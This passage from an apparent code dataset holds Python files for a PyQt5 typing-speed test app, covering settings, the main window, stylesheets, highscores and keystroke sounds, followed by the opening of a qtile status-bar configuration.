tuple[str | bool]:\n \"\"\"Returns tuple with selected values from this object's widgets.\"\"\"\n\n return (\n self.toggleDarkMode.isChecked(),\n self.toggleKeystrokeSound.isChecked(),\n str(self.comboSelectSound.currentText()),\n )\n\n def _is_selection_changed(\n self, is_dark_mode: bool, is_play_sound: bool, sound_filename: str\n ) -> bool:\n \"\"\"\n Returns true if any of the selected values differ from the current values for\n preferences.\n \"\"\"\n\n return any(\n [\n is_dark_mode != self.user_preferences_handler.preferences.dark_mode,\n is_play_sound != self.user_preferences_handler.preferences.play_sound,\n sound_filename\n != self.user_preferences_handler.preferences.sound_filename,\n ]\n )\n\n def _handle_apply_button_enabled_state(self) -> None:\n self.buttonApply.setEnabled(self._is_selection_changed(*self._get_selections()))\n\n def apply_settings(self) -> None:\n \"\"\"Updates preference values according to values selected in the UI.\"\"\"\n\n is_dark_mode, is_play_sound, sound_filename = self._get_selections()\n\n if is_dark_mode != self.user_preferences_handler.preferences.dark_mode:\n self.user_preferences_handler.toggle_dark_mode()\n\n if is_play_sound != self.user_preferences_handler.preferences.play_sound:\n self.user_preferences_handler.toggle_play_sound()\n\n if sound_filename != self.user_preferences_handler.preferences.sound_filename:\n self.user_preferences_handler.set_sound_filename(sound_filename)\n\n self.buttonApply.setEnabled(False)\n", "id": "10236528", "language": "Python", "matching_score": 3.789170026779175, "max_stars_count": 0, "path": "ps_typer/type_test/settings.py" }, { "content": "import os\nimport sqlite3\nimport sys\nfrom typing import Any, Generator\n\nfrom PyQt5 import QtCore, QtWidgets\nfrom PyQt5.QtGui import QFontDatabase, QIcon\nfrom PyQt5.QtMultimedia import QSoundEffect\n\nfrom ps_typer.data import style, utils\nfrom ps_typer.data.highscores_data_handler import HighscoreDataHandler\nfrom ps_typer.data.user_preferences_handler import UserPreferencesDataHandler\nfrom ps_typer.data.utils import PATH_SOUNDS, get_today\nfrom ps_typer.type_test import main_menu, results, settings, statistics, type_test\n\n\nclass MainWindow(QtWidgets.QWidget):\n def __init__(\n self,\n highscore_handler: HighscoreDataHandler,\n user_preferences_handler: UserPreferencesDataHandler,\n *args,\n **kwargs,\n ):\n super().__init__(*args, **kwargs)\n\n self.highscore_handler: HighscoreDataHandler = highscore_handler\n self.user_preferences_handler: UserPreferencesDataHandler = (\n user_preferences_handler\n )\n\n self.set_stylesheet()\n self.setMinimumSize(1080, 800)\n\n self.ICON = QIcon(str(utils.PATH_ICONS))\n self.setWindowIcon(self.ICON)\n\n self.stacked_widget = QtWidgets.QStackedWidget()\n\n main_layout = QtWidgets.QHBoxLayout()\n main_layout.addWidget(self.stacked_widget)\n self.setLayout(main_layout)\n\n self.main_menu_window = main_menu.MainMenu()\n self.main_menu_window.setWindowIcon(self.ICON)\n self.stacked_widget.insertWidget(0, self.main_menu_window)\n\n # BUTTONS\n self.main_menu_window.buttonStart.clicked.connect(self.on_clicked_start)\n self.main_menu_window.buttonSettings.clicked.connect(self.on_clicked_settings)\n self.main_menu_window.buttonStatistics.clicked.connect(\n self.on_clicked_statistics\n )\n self.main_menu_window.buttonExit.clicked.connect(self.on_clicked_exit)\n self.main_menu_window.comboBoxSelectMode.currentIndexChanged.connect(\n self.on_change_mode\n )\n\n self.update_highscores()\n\n # DATA AND SETTINGS\n self.main_menu_window.comboBoxSelectMode.setCurrentIndex(\n self.get_preference(\"selected_mode\")\n )\n\n # FONT\n self.inconsolata_bold = self.load_custom_font(str(utils.PATH_FONTS))\n\n # Stylesheet is set in the main program after instantiation\n\n def switch_focused_window(\n self,\n window: type_test.TypingWindow\n | settings.SettingsWindow\n | results.ResultsWindow\n | statistics.StatsWindow,\n ) -> None:\n self.stacked_widget.insertWidget(1, window)\n self.stacked_widget.setCurrentIndex(1)\n\n # Button methods\n def on_clicked_exit(self) -> None:\n instance: QtCore.QCoreApplication | None = QtWidgets.QApplication.instance()\n if instance:\n instance.quit()\n\n def on_clicked_start(self) -> None:\n typing_window = self.create_typing_window(\n str(self.main_menu_window.comboBoxSelectMode.currentText())\n )\n\n self.switch_focused_window(typing_window)\n\n typing_window.show()\n\n typing_window.setStyleSheet(self.stylesheet)\n\n def on_clicked_main_menu(self, window: QtWidgets.QWidget) -> None:\n self.stacked_widget.removeWidget(window)\n del window\n\n self.stacked_widget.setCurrentIndex(0)\n\n def on_clicked_settings(self) -> None:\n settings_window: settings.SettingsWindow = self.create_settings_window()\n\n self.switch_focused_window(settings_window)\n\n settings_window.show()\n settings_window.setStyleSheet(self.stylesheet)\n\n def on_clicked_statistics(self) -> None:\n self.create_stats_window()\n\n self.switch_focused_window(self.stats_window)\n\n self.stats_window.show()\n self.stats_window.setStyleSheet(self.stylesheet)\n\n def on_clicked_reset_daily(self) -> None:\n \"\"\"\n To be executed when 'Reset today's highscore' is pressed in the stats window.\n \"\"\"\n\n self.highscore_handler.delete_highscore(get_today())\n\n self.update_highscores()\n self.update_stats_highscores()\n\n def on_clicked_reset_all_time(self) -> None:\n \"\"\"\n To be executed when 'Reset all-time highscore' is pressed in the stats window.\n \"\"\"\n\n self.highscore_handler.delete_all_highscores()\n\n self.update_highscores()\n self.update_stats_highscores()\n\n def on_clicked_reset_all(self) -> None:\n \"\"\"\n To be executed when 'Reset all highscores' is pressed in the stats window.\n \"\"\"\n\n self.highscore_handler.delete_all_highscores()\n\n self.update_highscores()\n self.update_stats_highscores()\n\n def on_change_mode(self):\n \"\"\"\n Saves the selected mode to self.user_preferences_handler.preferences so the\n selection is remembered.\n \"\"\"\n\n self.user_preferences_handler.set_selected_mode(\n self.main_menu_window.comboBoxSelectMode.currentIndex()\n )\n\n # Helper Methods\n def get_preference(self, preference: str) -> Any:\n \"\"\"\n Convenience method for getting a specific preference from\n self.user_preferences_handler.preferences\n \"\"\"\n\n return getattr(self.user_preferences_handler.preferences, preference)\n\n def set_stylesheet(self) -> None:\n colours: dict[str, dict[str, str]] = self.get_preference(\"colours\")\n self.stylesheet: str = style.get_style_sheet(**colours[\"base\"])\n\n def load_custom_font(self, font: str) -> int:\n \"\"\"Adds custom font to QFontDatabase, and returns its corresponding font id.\"\"\"\n\n return QFontDatabase.addApplicationFont(font)\n\n def create_typing_window(self, mode: str) -> type_test.TypingWindow:\n typing_window = type_test.TypingWindow(\n self.highscore_handler, self.stacked_widget, self.get_key_sounds_rotator()\n )\n typing_window.set_mode(mode)\n typing_window.setWindowIcon(self.ICON)\n typing_window.set_rich_text_colours(self.get_preference(\"colours\")[\"rich_text\"])\n\n typing_window.buttonMainMenu.clicked.connect(\n lambda: self.on_clicked_main_menu(typing_window)\n )\n\n return typing_window\n\n def create_settings_window(self) -> settings.SettingsWindow:\n settings_window = settings.SettingsWindow(self.user_preferences_handler)\n\n settings_window.setWindowIcon(self.ICON)\n\n settings_window.buttonMainMenu.clicked.connect(\n lambda: self.on_clicked_main_menu(settings_window)\n )\n\n def on_clicked_apply() -> None:\n \"\"\"Executed when apply button in settings window is clicked.\"\"\"\n\n settings_window.apply_settings()\n self.set_stylesheet()\n self.setStyleSheet(self.stylesheet)\n settings_window.setStyleSheet(self.stylesheet)\n\n settings_window.buttonApply.clicked.connect(on_clicked_apply)\n\n return settings_window\n\n def create_stats_window(self) -> None:\n self.stats_window = statistics.StatsWindow()\n\n self.stats_window.setWindowIcon(self.ICON)\n\n # Update labels\n self.update_highscores()\n self.update_stats_highscores()\n self.update_stats_days_ago()\n\n # Set up graph\n self.stats_window.set_up_graph(\n self.highscore_handler.get_all_highscores(),\n self.get_preference(\"colours\")[\"graph\"],\n )\n\n # Connect buttons\n self.stats_window.buttonMainMenu.clicked.connect(\n lambda: self.on_clicked_main_menu(self.stats_window)\n )\n self.stats_window.buttonResetDaily.clicked.connect(self.on_clicked_reset_daily)\n self.stats_window.buttonResetAllTime.clicked.connect(\n self.on_clicked_reset_all_time\n )\n self.stats_window.buttonResetAll.clicked.connect(self.on_clicked_reset_all)\n\n def update_highscores(self) -> None:\n self.today_wpm, self.all_time_wpm = self.highscore_handler.get_wpm()\n\n def _get_key_sound(self) -> QSoundEffect:\n \"\"\"\n Gets QSoundEffect object from the sound_filename preference which is to be played\n on each keystroke in the typing window.\n \"\"\"\n\n key_sound_path = PATH_SOUNDS / self.get_preference(\"sound_filename\")\n key_sound_url = QtCore.QUrl.fromLocalFile(str(key_sound_path))\n\n key_sound = QSoundEffect()\n key_sound.setSource(key_sound_url)\n key_sound.setVolume(0.4)\n key_sound.setLoopCount(1)\n return key_sound\n\n def _get_key_sounds_list(self) -> list[QSoundEffect]:\n \"\"\"Returns a list of QSoundEffect objects.\"\"\"\n\n if not self.get_preference(\"play_sound\"):\n return [QSoundEffect()]\n\n return [self._get_key_sound() for _ in range(10)]\n\n def get_key_sounds_rotator(self) -> Generator[QSoundEffect, None, None]:\n \"\"\"\n Returns a generator which will rotate through a list of QSoundEffect objects\n which are the sounds to be played on each user keystroke.\n\n This is necessary for faster typing speeds because the .play() method is static\n so the sound will not play on every keystroke like intended.\n \"\"\"\n i = 0\n keysounds = self._get_key_sounds_list()\n length = len(keysounds)\n\n while True:\n i += 1\n if i == length:\n i = 0\n\n yield keysounds[i]\n\n def update_stats_highscores(self) -> None:\n \"\"\"Updates highscores displayed in the stats window.\"\"\"\n\n self.stats_window.labelTodayScore.setText(f\"{self.today_wpm} WPM\")\n self.stats_window.labelAllTimeScore.setText(f\"{self.all_time_wpm} WPM\")\n\n def update_stats_days_ago(self) -> None:\n \"\"\"\n Updates the labelDaysAgo element in the stats window with the\n number of days since the all-time highscore was set.\n \"\"\"\n\n self.stats_window.update_days_ago(self.highscore_handler.days_since_set())\n\n\ndef main():\n app = QtWidgets.QApplication(sys.argv)\n\n with sqlite3.connect(utils.PATH_USER_DATA_DB.absolute()) as conn:\n highscore_handler = HighscoreDataHandler(conn)\n user_preferences_handler = UserPreferencesDataHandler()\n main_window = MainWindow(highscore_handler, user_preferences_handler)\n\n # Stylesheet set after window is shown\n main_window.showMaximized()\n main_window.setStyleSheet(main_window.stylesheet)\n\n sys.exit(app.exec_())\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "2741023", "language": "Python", "matching_score": 7.751533508300781, "max_stars_count": 0, "path": "ps_typer/main.py" }, { "content": "import os\nimport pickle\nfrom PyQt5 import QtCore, QtWidgets\nfrom PyQt5.QtMultimedia import QSoundEffect\nfrom PyQt5.QtGui import QIcon, QFontDatabase\nfrom pathlib import Path\n\nfrom source_ui import main_window\nfrom type_test import highscores, settings, statistics, type_test\n\n# PATHS\nBASE_FOLDER = Path(__file__).parents[0]\nASSETS_FOLDER = BASE_FOLDER / \"assets\"\nDATA_FOLDER = BASE_FOLDER / \"data\"\nICON_PATH = ASSETS_FOLDER / \"icon.png\"\nFONT_PATH = ASSETS_FOLDER / \"InconsolataBold.ttf\"\nSOUND_FOLDER = ASSETS_FOLDER / \"sounds\"\nDATA_FILE = DATA_FOLDER / \"data.pkl\"\n\n\nclass MainWindow(QtWidgets.QWidget, main_window.Ui_mainWindow):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.setupUi(self)\n self.ICON = QIcon(str(ICON_PATH))\n self.setWindowIcon(self.ICON)\n\n # BUTTONS\n self.buttonStart.clicked.connect(self.on_clicked_start)\n self.buttonSettings.clicked.connect(self.on_clicked_settings)\n self.buttonStatistics.clicked.connect(self.on_clicked_statistics)\n self.buttonExit.clicked.connect(QtWidgets.QApplication.instance().quit)\n self.comboBoxSelectMode.currentIndexChanged.connect(self.on_change_mode)\n\n # HIGHSCORES HANDLER\n self.highscore = highscores.Highscores()\n self.update_highscores()\n\n # DATA AND SETTINGS\n if DATA_FILE.is_file():\n self.load_data_from_file()\n else:\n self.data = settings.DEFAULT_DATA\n\n self.comboBoxSelectMode.setCurrentIndex(self.data.get(\"selected_mode\", 0))\n\n # SOUND\n self.set_key_sound(self.get_setting(\"sound_filename\"))\n\n # FONT\n self.inconsolata_bold = self.load_custom_font(str(FONT_PATH))\n\n # Stylesheet is set in the main program after instantiation\n\n # Button methods\n def on_clicked_start(self) -> None:\n self.make_mode_window(str(self.comboBoxSelectMode.currentText()))\n\n self.show_window(self.mode_window, self.isMaximized())\n self.mode_window.setStyleSheet(self.get_setting(\"stylesheet\"))\n self.mode_window.set_colours(self.get_setting(\"rich_text_colours\"))\n\n self.hide()\n\n def on_clicked_main_menu(self, window: QtWidgets.QWidget) -> None:\n self.update_highscores()\n\n self.show_window(self, window.isMaximized())\n\n window.close()\n del window\n\n def on_clicked_settings(self) -> None:\n self.make_settings_window()\n\n self.show_window(self.settings_window, self.isMaximized())\n self.settings_window.setStyleSheet(self.get_setting(\"stylesheet\"))\n\n self.hide()\n\n def on_clicked_apply(self) -> None:\n \"\"\"Executed when apply button in settings window is clicked.\"\"\"\n\n self.data[\"settings\"] = self.settings_window.get_settings()\n\n # Key sound\n self.set_key_sound(self.get_setting(\"sound_filename\"))\n\n # Stylesheet\n self.settings_window.setStyleSheet(self.get_setting(\"stylesheet\"))\n self.setStyleSheet(self.get_setting(\"stylesheet\"))\n\n # Save\n self.save_data_to_file()\n\n def on_clicked_statistics(self) -> None:\n self.make_stats_window()\n\n self.show_window(self.stats_window, self.isMaximized())\n self.stats_window.setStyleSheet(self.get_setting(\"stylesheet\"))\n\n self.hide()\n\n def on_clicked_reset_daily(self) -> None:\n \"\"\"\n To be executed when 'Reset today's highscore' is pressed in the stats window.\n \"\"\"\n\n self.highscore.delete_daily_highscore()\n\n self.update_highscores()\n self.update_stats_highscores()\n\n def on_clicked_reset_all_time(self) -> None:\n \"\"\"\n To be executed when 'Reset all-time highscore' is pressed in the stats window.\n \"\"\"\n\n self.highscore.delete_all_time_highscore()\n\n self.update_highscores()\n self.update_stats_highscores()\n\n def on_clicked_reset_all(self) -> None:\n \"\"\"\n To be executed when 'Reset all highscores' is pressed in the stats window.\n \"\"\"\n\n self.highscore.delete_all_highscores()\n\n self.update_highscores()\n self.update_stats_highscores()\n\n def on_change_mode(self):\n \"\"\"\n Saves the selected mode to self.data and pickles self.data so the selection is\n remembered.\n \"\"\"\n\n self.data[\"selected_mode\"] = self.comboBoxSelectMode.currentIndex()\n self.save_data_to_file()\n\n # Helper Methods\n def get_setting(self, setting: str):\n \"\"\"\n Convenience method for getting a specific setting from self.data, or a\n default value.\n \"\"\"\n\n return self.data[\"settings\"].get(\n setting, settings.DEFAULT_SETTINGS.get(setting)\n )\n\n def load_custom_font(self, font: str) -> int:\n \"\"\"Adds custom font to QFontDatabase, and returns its corresponding font id.\"\"\"\n\n return QFontDatabase.addApplicationFont(font)\n\n def show_window(self, window: QtWidgets.QWidget, fullscreen: bool) -> None:\n \"\"\"\n Used to show windows, with the option to have them maximised provided.\n \"\"\"\n\n window.show()\n if fullscreen:\n window.setWindowState(QtCore.Qt.WindowMaximized)\n\n def make_mode_window(self, mode: str) -> None:\n self.mode_window = type_test.TypingWindow(self.highscore)\n self.mode_window.set_mode(mode)\n\n self.mode_window.setWindowIcon(self.ICON)\n\n self.mode_window.buttonMainMenu.clicked.connect(\n lambda: self.on_clicked_main_menu(self.mode_window)\n )\n\n # Sets key sound if enabled\n if self.get_setting(\"play_sound\"):\n self.mode_window.set_key_sound(self.key_sound)\n\n def make_settings_window(self) -> None:\n self.settings_window = settings.SettingsWindow()\n\n self.settings_window.setWindowIcon(self.ICON)\n\n self.settings_window.buttonMainMenu.clicked.connect(\n lambda: self.on_clicked_main_menu(self.settings_window)\n )\n self.settings_window.buttonApply.clicked.connect(self.on_clicked_apply)\n\n # Keystroke sound toggle\n if self.get_setting(\"play_sound\"):\n self.settings_window.toggleKeystrokeSound.setChecked(True)\n\n # Dark mode toggle\n if self.get_setting(\"dark_mode\"):\n self.settings_window.toggleDarkMode.setChecked(True)\n\n self.set_settings_sounds_options()\n self.set_selected_sound_option(self.get_setting(\"sound_filename\"))\n\n def make_stats_window(self) -> None:\n self.stats_window = statistics.StatsWindow()\n\n self.stats_window.setWindowIcon(self.ICON)\n\n # Update labels\n self.update_stats_highscores()\n self.update_stats_days_ago()\n\n # Set up graph\n self.stats_window.set_up_graph(\n self.highscore.get_stats_dailies(), self.get_setting(\"graph_colours\")\n )\n\n # Connect buttons\n self.stats_window.buttonMainMenu.clicked.connect(\n lambda: self.on_clicked_main_menu(self.stats_window)\n )\n self.stats_window.buttonResetDaily.clicked.connect(self.on_clicked_reset_daily)\n self.stats_window.buttonResetAllTime.clicked.connect(\n self.on_clicked_reset_all_time\n )\n self.stats_window.buttonResetAll.clicked.connect(self.on_clicked_reset_all)\n\n def update_highscores(self) -> None:\n self.today_wpm, self.all_time_wpm = self.highscore.get_wpm()\n\n def save_data_to_file(self) -> None:\n \"\"\"Pickles self.data into a file in the data folder.\"\"\"\n\n with open(DATA_FILE, \"wb\") as data_pickle:\n pickle.dump(self.data, data_pickle)\n\n def load_data_from_file(self) -> None:\n \"\"\"Sets self.data to the values saved on the data.pkl file.\"\"\"\n\n with open(DATA_FILE, \"rb\") as data_pickle:\n self.data = pickle.load(data_pickle)\n\n def get_sounds_list(self) -> list:\n \"\"\"Returns a list of the sound files present in the sounds folder.\"\"\"\n\n return os.listdir(SOUND_FOLDER)\n\n def set_settings_sounds_options(self) -> None:\n \"\"\"\n Sets up options for the dropdown menu to select keystroke sounds in the\n settings menu.\n \"\"\"\n\n for sound_file in self.get_sounds_list():\n # Add sound file name to dropdown menu\n self.settings_window.comboSelectSound.addItem(sound_file)\n\n def find_sound_file_index(self, sound_file: str) -> int:\n \"\"\"\n Returns the index of the given file name within the settings window\n comboSelectSound object.\n \"\"\"\n\n return self.settings_window.comboSelectSound.findText(\n sound_file, QtCore.Qt.MatchFixedString\n )\n\n def set_selected_sound_option(self, sound_file: str) -> None:\n \"\"\"\n Sets the selected option for sound file from the settings window's\n comboSelectSound object to the given sound file name.\n \"\"\"\n\n index: int = self.find_sound_file_index(sound_file)\n\n if index >= 0:\n self.settings_window.comboSelectSound.setCurrentIndex(index)\n\n def set_key_sound(self, sound_file: str) -> None:\n \"\"\"\n Sets the given sound file to a QSoundEffect object which will be played on each\n keystroke in the mode window.\n \"\"\"\n\n self.key_sound_path = os.path.join(SOUND_FOLDER, sound_file)\n self.key_sound_url = QtCore.QUrl.fromLocalFile(self.key_sound_path)\n\n self.key_sound = QSoundEffect()\n self.key_sound.setSource(self.key_sound_url)\n self.key_sound.setVolume(0.5)\n self.key_sound.setLoopCount(1)\n\n def update_stats_highscores(self) -> None:\n \"\"\"Updates highscores displayed in the stats window.\"\"\"\n\n self.stats_window.labelTodayScore.setText(f\"{self.today_wpm} WPM\")\n self.stats_window.labelAllTimeScore.setText(f\"{self.all_time_wpm} WPM\")\n\n def update_stats_days_ago(self) -> None:\n \"\"\"\n Updates the labelDaysAgo element in the stats window with the\n number of days since the all-time highscore was set.\n \"\"\"\n\n self.stats_window.update_days_ago(self.highscore.days_since_set())\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication([])\n\n window = MainWindow()\n window.show()\n\n # Stylesheet must be changed after window is shown\n window.setStyleSheet(window.get_setting(\"stylesheet\"))\n\n app.exec_()\n", "id": "8375569", "language": "Python", "matching_score": 4.441075801849365, "max_stars_count": 1, "path": "speed-typer/main.py" }, { "content": "from PyQt5 import QtWidgets\n\nfrom source_ui import settings_window\nfrom .components import Switch\n\n\n# CONSTANTS\nDARK_COLOURS = dict(\n bg=\"hsl(217, 35%, 15%)\",\n bg_lighter=\"hsl(217, 35%, 19%)\",\n text=\"hsl(0, 0%, 85%)\",\n text_button=\"hsl(0, 0%, 62%)\",\n)\n\nLIGHT_COLOURS = dict(\n bg=\"hsl(217, 35%, 82%)\",\n bg_lighter=\"hsl(217, 35%, 86%)\",\n text=\"hsl(0, 0%, 14%)\",\n text_button=\"hsl(0, 0%, 47%)\",\n)\n\n# Graph colours\nDARK_GRAPH = dict(\n axes=\"#d9d9d9\",\n curve=\"#136c19\",\n)\n\nLIGHT_GRAPH = dict(\n axes=\"#000000\",\n curve=\"#1ca025\",\n)\n\n# Colours for custom switch widget\n# Must be hex string for QColor object\nSWITCH_COLOURS = dict(\n bg_colour=\"#9e9e9e\",\n circle_colour=\"#d9d9d9\",\n active_bg_colour=\"#3381ff\",\n)\n\n# Colours for rich text highlighting\nRICH_TEXT_COLOURS = dict(\n dark=[\"hsl(124, 70%, 21%)\", \"hsl(0, 65%, 38%)\"],\n light=[\"hsl(124, 60%, 45%)\", \"hsl(0, 80%, 55%)\"],\n)\n\n\n# DEFAULT STYLESHEET AND SETTINGS\ndef _get_style_sheet_(bg=\"\", bg_lighter=\"\", text=\"\", text_button=\"\", **kwargs):\n \"\"\"\n Returns a string representing the style sheet.\n\n Usage: _get_style_sheet(**DARK_COLOURS) or _get_style_sheet(**LIGHT_COLOURS)\n \"\"\"\n\n try:\n return f\"\"\"QWidget {{\n background: qlineargradient(\n spread:pad, x1:0, y1:0, x2:1, y2:1,\n stop:0 {bg}, stop:0.807107 {bg_lighter}\n );\n color: {text}; font-size: 24pt;\n font-weight: bold; font-family: \"Inconsolata Bold\";\n }}\n QPushButton, QComboBox {{\n background: transparent; font-size: 25pt; border-radius: 5;\n padding: 8px; text-align: left; color: {text_button};\n }}\n QPushButton::hover, QComboBox::hover, QPushButton::focus, QComboBox::focus {{\n background: transparent; color: {text}; outline: none;\n }}\n QComboBox::down-arrow {{\n background: transparent;\n }}\n QComboBox::item {{\n background: {bg_lighter};\n }}\n QComboBox::item:selected {{\n font-weight: bold; color: {text};\n }}\n QLabel, QRadioButton, QScrollArea, QScrollBar::add-line:vertical,\n QScrollBar::sub-line:vertical, #graphView {{\n background: transparent; border: none;\n }}\n QScrollBar {{\n background: {bg};\n }}\n QScrollBar::handle {{\n background: {text_button}; border: none;\n }}\n QScrollBar::handle:pressed {{\n background: {text};\n }}\n #labelMainMenu, #labelTitle, #labelStatistics {{\n font-size: 50pt;\n }}\n #labelDaysAgo {{\n color: {text_button}\n }}\"\"\"\n\n except NameError as e:\n print(e)\n raise NameError(\n \"Pass in either DARK_COLOURS or LIGHT_COLOURS dictionaries as unpacked\"\n \" kwargs i.e. _get_style_sheet(**DARK_COLOURS)\"\n )\n\n\nBASE_STYLE_SHEET = _get_style_sheet_(**DARK_COLOURS)\n\nDEFAULT_SETTINGS = dict(\n play_sound=False,\n sound_filename=\"key_2.wav\",\n stylesheet=BASE_STYLE_SHEET,\n dark_mode=True,\n graph_colours=DARK_GRAPH,\n rich_text_colours=RICH_TEXT_COLOURS[\"dark\"],\n)\n\nDEFAULT_DATA = dict(\n settings=DEFAULT_SETTINGS,\n selected_mode=0,\n)\n\n\nclass SettingsWindow(QtWidgets.QWidget, settings_window.Ui_settingsWindow):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.setupUi(self)\n\n # Replace placeholder checkboxes with custom toggle switches\n self.toggleDarkMode = Switch(**SWITCH_COLOURS)\n self.layoutDarkMode.replaceWidget(self.checkBoxDarkMode, self.toggleDarkMode)\n self.checkBoxDarkMode.close()\n\n self.toggleKeystrokeSound = Switch(**SWITCH_COLOURS)\n self.layoutKeystrokeSounds.replaceWidget(\n self.checkBoxToggleSounds, self.toggleKeystrokeSound\n )\n self.checkBoxToggleSounds.close()\n\n # Helper methods\n def _get_values(self) -> None:\n \"\"\"Updates all relevant settings into instance variables.\"\"\"\n\n self.is_dark_mode = self.toggleDarkMode.isChecked() # False means light mode\n\n self.graph_colours = DARK_GRAPH if self.is_dark_mode else LIGHT_GRAPH\n\n self.rich_text_colours = (\n RICH_TEXT_COLOURS[\"dark\"]\n if self.is_dark_mode\n else RICH_TEXT_COLOURS[\"light\"]\n )\n\n self.play_key_sound = (\n self.toggleKeystrokeSound.isChecked()\n ) # False means key sound off\n\n self.key_sound = str(\n self.comboSelectSound.currentText()\n ) # Sound to play on keystroke\n\n self.style_sheet = self._get_style_sheet()\n\n def _get_style_sheet(self) -> str:\n \"\"\"\n Returns a string representing the stylesheet.\n\n The stylesheet returned is to be used in main.py to set the\n styling for all windows.\n \"\"\"\n\n colours = DARK_COLOURS if self.is_dark_mode else LIGHT_COLOURS\n\n return _get_style_sheet_(**colours)\n\n # Public Method\n def get_settings(self) -> dict:\n \"\"\"Returns a list of settings variables which control various attributes.\"\"\"\n\n self._get_values()\n\n return dict(\n play_sound=self.play_key_sound,\n sound_filename=self.key_sound,\n stylesheet=self.style_sheet,\n dark_mode=self.is_dark_mode,\n graph_colours=self.graph_colours,\n rich_text_colours=self.rich_text_colours,\n )\n\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication([])\n\n window = SettingsWindow()\n window.show()\n\n app.exec_()\n", "id": "6066466", "language": "Python", "matching_score": 6.931532859802246, "max_stars_count": 1, "path": "speed-typer/type_test/settings.py" }, { "content": "DARK_MODE = dict(\n base=dict(\n bg=\"hsl(217, 35%, 17%)\",\n bg_lighter=\"hsl(217, 35%, 25%)\",\n text=\"hsl(0, 0%, 85%)\",\n text_button=\"hsl(0, 0%, 62%)\",\n ),\n rich_text=dict(\n green=\"hsl(124, 70%, 21%)\",\n red=\"hsl(0, 65%, 38%)\",\n ),\n graph=dict(\n axes=\"#d9d9d9\",\n curve=\"#136c19\",\n ),\n)\nLIGHT_MODE = dict(\n base=dict(\n bg=\"hsl(217, 35%, 84%)\",\n bg_lighter=\"hsl(217, 35%, 94%)\",\n text=\"hsl(0, 0%, 14%)\",\n text_button=\"hsl(0, 0%, 47%)\",\n ),\n rich_text=dict(\n green=\"hsl(124, 60%, 45%)\",\n red=\"hsl(0, 80%, 55%)\",\n ),\n graph=dict(\n axes=\"#000000\",\n curve=\"#1ca025\",\n ),\n)\nSWITCH_COLOURS = dict(\n bg_colour=\"#9e9e9e\",\n circle_colour=\"#d9d9d9\",\n active_bg_colour=\"#3381ff\",\n)\n\n\n# FUNCTIONS -----------------------------------------------------------------------------\ndef get_colours(is_dark_mode: bool = True) -> dict[str, dict[str, str]]:\n \"\"\"Returns dictionary of of all colours used for program.\"\"\"\n\n return dict(DARK_MODE if is_dark_mode else LIGHT_MODE, switch=SWITCH_COLOURS)\n\n\ndef get_style_sheet(\n bg: str = \"\", bg_lighter: str = \"\", text: str = \"\", text_button: str = \"\"\n) -> str:\n \"\"\"\n Returns a string representing the style sheet.\n\n Usage: get_style_sheet(True) for dark mode or get_style_sheet(False) for light mode\n \"\"\"\n\n return f\"\"\"QWidget {{\n background: {bg};\n color: {text};\n font-size: 24pt;\n font-weight: bold;\n font-family: \"Inconsolata Bold\";\n }}\n QPushButton, QComboBox {{\n background: transparent;\n font-size: 25pt;\n border-radius: 5;\n padding: 8px;\n text-align: left;\n color: {text_button};\n }}\n QPushButton::hover, QComboBox::hover, QPushButton::focus, QComboBox::focus {{\n background: transparent;\n color: {text};\n outline: none;\n }}\n QComboBox::down-arrow {{\n background: transparent;\n }}\n QComboBox::item {{\n background: {bg_lighter};\n }}\n QComboBox::item:selected {{\n font-weight: bold;\n color: {text};\n }}\n QLabel, QRadioButton, QScrollArea, QScrollBar::add-line:vertical,\n QScrollBar::sub-line:vertical, #graphView {{\n background: transparent;\n border: none;\n }}\n QScrollBar {{\n background: {bg};\n }}\n QScrollBar::handle {{\n background: {text_button};\n border: none;\n }}\n QScrollBar::handle:pressed {{\n background: {text};\n }}\n #labelMainMenu, #labelTitle, #labelStatistics {{\n font-size: 50pt;\n }}\n #labelDaysAgo {{\n color: {text_button}\n }}\"\"\"\n", "id": "10833014", "language": "Python", "matching_score": 1.6176527738571167, "max_stars_count": 0, "path": "ps_typer/data/style.py" }, { "content": "from libqtile import widget, qtile\n\nfrom my_modules.colours import COLOURS\nfrom my_modules.programs import PROGRAMS\n\n\nWIDGET_PADDING = 3\nFONT_SIZE = 20\nFONT_SIZE_WORKSPACE_ICONS = 15\nFONT_AWESOME_FONTSIZE = FONT_SIZE - 2\nDEFAULT_FONT = \"SF Pro Display\"\nFONT_AWESOME_FONT = \"Font Awesome 5 Free\"\n\nFOREGROUND_COLOUR = COLOURS[\"white\"]\nICON_COLOURS = COLOURS[\"purple_light\"]\n\nSEPARATOR = widget.Spacer(length=10)\n\nDEFAULT_WIDGET_STYLE = dict(\n font=DEFAULT_FONT,\n fontsize=FONT_SIZE,\n padding=WIDGET_PADDING,\n background=COLOURS[\"transparent\"],\n foreground=FOREGROUND_COLOUR,\n)\n\nGRAPH_OPTIONS = dict(\n mouse_callbacks={\n \"Button1\": lambda: qtile.cmd_spawn(\n PROGRAMS[\"system_monitor\"],\n )\n },\n border_color=COLOURS[\"black\"],\n graph_color=COLOURS[\"graph_line\"],\n border_width=1,\n line_width=1,\n type=\"line\",\n samples=10,\n frequency=2,\n)\n\nWIDGETS = [\n SEPARATOR,\n # LAYOUT\n widget.CurrentLayoutIcon(\n scale=0.6,\n ),\n SEPARATOR,\n # RUN\n widget.Prompt(\n prompt=\"run: \",\n background=COLOURS[\"black\"],\n padding=20,\n ignore_dups_history=True,\n ),\n # WORKSPACES\n widget.Spacer(),\n widget.GroupBox(\n font=DEFAULT_FONT,\n fontsize=FONT_SIZE_WORKSPACE_ICONS,\n highlight_method=\"block\",\n active=FOREGROUND_COLOUR,\n ),\n widget.Spacer(),\n # OUTSIDE TEMP\n widget.WidgetBox(\n font=FONT_AWESOME_FONT,\n fontsize=FONT_AWESOME_FONTSIZE,\n foreground=ICON_COLOURS,\n text_closed=\"\",\n text_open=\"\",\n widgets=[\n SEPARATOR,\n widget.OpenWeather(\n location=\"Dublin, IE\",\n format=\" {icon} {temp:.0f}°{units_temperature} \"\n \"{main_feels_like:.0f}°{units_temperature} \"\n \"{wind_speed} {units_wind_speed} \",\n ),\n ],\n ),\n SEPARATOR,\n # MONITORING\n widget.WidgetBox(\n font=FONT_AWESOME_FONT,\n fontsize=FONT_AWESOME_FONTSIZE,\n 